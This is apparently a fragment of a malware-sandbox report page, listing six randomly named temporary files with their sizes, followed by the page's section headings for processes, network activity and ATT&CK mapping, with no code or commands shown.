/tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5	832	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
/tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0	838	XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
/tmp/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ	844	IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
/tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL	850	wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
/tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5	857	UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
/tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz	864	1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads